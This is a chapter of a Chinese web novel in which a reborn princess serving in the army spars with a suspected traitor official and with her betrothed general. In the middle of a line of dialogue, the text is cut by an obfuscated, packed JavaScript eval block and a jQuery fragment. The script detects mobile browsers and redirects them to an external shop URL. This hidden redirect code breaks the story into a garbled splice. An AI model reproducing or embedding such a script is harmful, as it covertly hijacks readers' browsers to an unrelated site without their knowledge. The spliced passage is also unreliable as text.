14. 第 14 章

作品:《重生后长公主她从军了

    叶宁竹没有想过,这么艰巨的任务,皇兄会交托给齐简。是因为他在朝中没有信任的人,所以选择相信一个看上去忠心耿耿的新臣?


    还是说,这也是齐简计划中的一环?他在这个时候突然来到幽州,怀揣着怎样的心思,又想达成什么样的目的?


    叶宁竹思绪好乱,尽管她知道齐简与梁国有所勾结,但却对他们的计划一无所知。


    齐简带着援军来的那一日,叶宁竹躲在了营帐内。她以为自己可以坦然面对了,可一想到齐简这张脸,便止不住的恶心。


    之后几日也同是如此,她只是听说齐简对军营环境不适应,住在了城中略微精修的驿站。


    至于他带来的援军,则是与军中士兵一同投入了训练中去。白日里,齐简会装模作样地来军中视察,但不消片刻便会寻一个地方休憩。


    叶宁竹为了避开齐简,倒是得了几日清闲,可这样的日子也没持续太久。


    “殿下,将军请您去一趟。”郁青语气中有些不屑道,“那人也在。”


    他是知道叶宁竹对齐简的态度如何,自然也不对此人有什么好脸色。


    自打两军交战以来,郁青便得了重用,从一开始的小士兵到能带领小队的队长,到如今也是能参与到战事的讨论中去了。叶宁竹想,许是他们方才结束商讨,苏鸿煊才命了郁青来寻她。


    真是的,她又不会不去!


    虽然有些不情愿,叶宁竹还是去了,只是在去之前,她翻出了许久没有打开的衣箱,特意挑选了一件红色披风。


    营帐中除了苏鸿煊,就只有齐简。


    她走进去,将披风取下时动作顿了顿,直奔着苏鸿煊而去问道:“怎么了?”


    苏鸿煊瞥了一眼她,还未来得及说话,就看见齐简起身,朝着叶宁竹规规矩矩行礼道了一声:“殿下。”


    “阁下是?”叶宁竹装作不认识道。


    苏鸿煊在一旁提醒道:“齐简,户部员外郎。”


    他像是真的以为叶宁竹不识此人,倒让叶宁竹有些没忍住笑出了声。


    “齐大人,我有一事有些好奇。”叶宁竹看向齐简,向他打探道,“明明此前皇兄已昭告天下长公主已逝,大人却还是能在见到我时唤我一声殿下……”


    齐简作为从京城中来的人,他掌握了多少消息?又得了皇兄多少信任?


    齐简地目光在叶宁竹与苏鸿煊中间流转片刻,“陛下已与微臣说明,殿下亲赴幽州,为战事尽心尽力,此前举措也不过是下策。”


    是皇兄亲自将所有事情告知了齐简,她语气有些散漫,也带了些讥讽:“员外郎大人能这般得陛下信任,费了不少心思吧。”


    说着,她偏向苏鸿煊说:“一个小小的六品官员,也配让我亲自接见?”


    她这话说的让齐简面子上有些挂不住,不可否认的是,她是故意的,可她也知道即便齐简心中可能满腔怒意,也不会显露于表面。


    齐简仍然规矩着行礼向二人告辞,可叶宁竹瞧见了他不断紧握的双手。


    “惯会伪装的。”叶宁竹淡淡评价道,她随手拿起苏鸿煊面前桌上的一本兵书翻了翻。


    “殿下不喜他?”苏鸿煊问。


    叶宁竹也不否认,只是道:“你别看他面上对我如此尊崇,心里指不定怎么骂我呢。”


    她一想到方才齐简的脸色,就心中一阵畅快。


    苏鸿煊却道:“殿下窥探人心的本事也不差,虽与齐大人不熟识,却也能一眼看出来他内心如何在想。”


    叶宁竹得意地点点头,又听苏鸿煊道:“那殿下可知方才你来之前,齐大人在与我说什么?”


    叶宁竹好奇地抬头看他,“什么?”


    “也没什么。”苏鸿煊顿了顿后,直视着叶宁竹的双眼,“他带来了陛下的旨意,是殿下亲自求的”


    旨意?还是她求的?叶宁竹思绪断了片刻,寻思着什么旨意要齐简特意带来。


    突然,思绪开始回笼,她手中翻书的动作停顿住后,吞吐道:“该不会……”


    她神色透着些许窘迫,有些不敢去看苏鸿煊的眼睛,“将军,你别误会,若我不那样说,皇兄是不会肯让我离开皇宫的。”


    “误会吗?”苏鸿煊声音有些沉,“殿下这么说,那便是吧。”


    他并未主动提及旨意的内容,许是不想让叶宁竹为难。


    叶宁竹稍显尴尬地一笑道,“那将军若无事,我就先走了。”


    “好。”苏鸿煊道。


    他从一旁将叶宁竹的披风拿来,替她系好后道,“殿下许久不穿红衣,今日为何穿了?”


    “你不是说我穿红衣好看?”叶宁竹眼含笑意反问他。


    苏鸿煊没答复他,只是问:“是因为齐大人?”


    叶宁竹脸色一沉,有些不悦:“为何就是因为他,不能是因为你吗?”


    “我倒希望殿下是为我。”苏鸿煊道。


    叶宁竹拍开他的手,不想说话。她算是明白了,什么叫说的多错的也多。怎么就被苏鸿煊绕进去了呢?


    “我走了。”叶宁竹道。


    苏鸿煊点了点头,目送她离开。


    营帐外,齐简站在了不远处。叶宁竹一出去就瞥见了他,不屑的眼神看过去,却见齐简大步走来。


    叶宁竹侧移了半步,避开距离后说:“齐大人好本事。”


    齐简紧盯着她,却平静道:“微臣不懂殿下的意思。”


    “齐大人用了什么手段得陛下赏识?真才实学?还是朝中重臣?”叶宁竹嘲讽道。


    “殿下若是不喜微臣,微臣便不在此处碍您的眼,只是陛下有一句话要微臣待遇您。”齐简咬牙道,“陛下说,殿下的婚姻大事,要提上日程了。”


    “那就不劳齐大人费心了。”叶宁竹微微一笑,扬长而去。


    她知道自己的话一定会激怒齐简,可这于她而言,反倒是一个很好的观察时机。


    目前战事休止,但她想很快这份宁静就会被打破,齐简不是一个有主见的人,他必然会同幕后之人往来商讨。无论那人是梁国人,亦或是朝中大臣,她都会找出来。


    回营帐后,白桃在帐中休息,她顺嘴问了一句:“怎么没去伤兵营里照看?沈副将的伤势如何了?”


    白桃抬起头:“沈姑娘在那帮忙,郁青来找我说殿下回来后心情定然不佳,我就回来熬了些甜汤给您喝。”


    她说着,将桌上装着甜汤的盅端给叶宁竹道:“可我瞧着殿下不像心情不佳的样子。”


    叶宁竹喝了一口甜汤,眉头微微扬起,“为何心情不佳,我从未感到如此畅快。”


    白桃捂嘴笑了笑,“那殿下喝完


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068459|137869||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    甜汤可要自己收拾一下,我要去照看伤者了。”


    “去吧。”叶宁竹摆了摆手,喝完甜汤后端到小厨房去,打水将碗洗净。


    准备离开时,却在途径练兵场时看见齐简还未离开军营,反倒是在一旁观看着士兵的训练。


    叶宁竹记得以前齐简对用兵之道有自己的见解,还因此得了梁国君王的赏识。


    她走到士兵训练的场地,叫来了袁副将询问道:“这些士兵都是此次来的援军吗?”


    袁副将评价道:“是,但都像空架子。”


    叶宁竹看了一眼后道:“那便好好练,与练兵无关的人就请出去吧。”


    她眼神微动,看向齐简的方向示意道。


    袁副将顺着她的目光看过去,道:“是!”


    只要不给齐简机会,任他想做什么都无济于事,叶宁竹就看着齐简被请了出去。


    她不否认自从齐简来了之后,她做的许多事情都一改往日,甚至于有一些是出自于自己的私心。


    可齐简与她之间,仇怨太多。他这一生也许不理解为什么得不到长公主青睐,也不知道自己究竟是哪里招惹到了叶宁竹。


    但叶宁竹记得,记得所有的一切。


    ……


    风雪过后,天气有些回温。对于两军来说,都是一个很好的进攻机会。如今有了援军,他们无须担忧兵力悬殊的问题。


    苏鸿煊迟迟没有动兵就算了,就连梁军,也无一点动静。


    他们的援军来的悄无声息,很明显是被敌军觉察了。


    叶宁竹提醒过苏鸿煊让他警惕齐简,但苏鸿煊说,他一直有派人盯着齐简,并未发现他与外界往来。


    这倒是令人有些头疼了,她明知道那个奸细是谁,却找不到证据。


    既然如此,她更应该给自己创造一些机会,想办法从齐简身上找寻他投敌卖国的证据。叶宁竹不消片刻便有了计划,但考虑到计划的可行性需要苏鸿煊的配合,所以还是应该将计划告知对方。


    却不想这个计划直接遭到了苏鸿煊的否决,她丝毫不退步地说道:“那你想一个有用的办法。”


    她看着苏鸿煊,似乎是笃定对方暂无对策。她无非是想,既然齐简从头到尾都想借用她作为长公主的身份地位,那倒不如遂了他的意。


    虽然主动接触齐简,她难以遏制自己的恨意,但为了大局牺牲小我并不算什么。


    “那就这么定了!”


    “殿下!”苏鸿煊立马道。他明知道叶宁竹这个人向来如此,喜欢用自己入局,以身犯险。他也明知道叶宁竹不会听劝,但总是要劝。


    “苏鸿煊,我能分辨好坏是非,也有分寸,你在给予我信任的同时可不可以也放开你的保护?”叶宁竹道,“我来找你并非是与你商讨,而是需要你帮我。”


    苏鸿煊无奈:“我能如何帮你?”


    “与我演一场戏啊。”叶宁竹说,“我们是有婚约之人,若不与你分开,我怎么去接近他。”


    这是这么久以来,叶宁竹第一次主动提及这个婚约,早知如此,她就不该为了离宫想这么一个借口。


    苏鸿煊气笑了,没忍住道:“我与殿下若无赐婚的旨意,是否就什么都没了?”


    “不是。”叶宁竹含笑道,“我们是同生共死的伙伴,那是旁人比不了的。”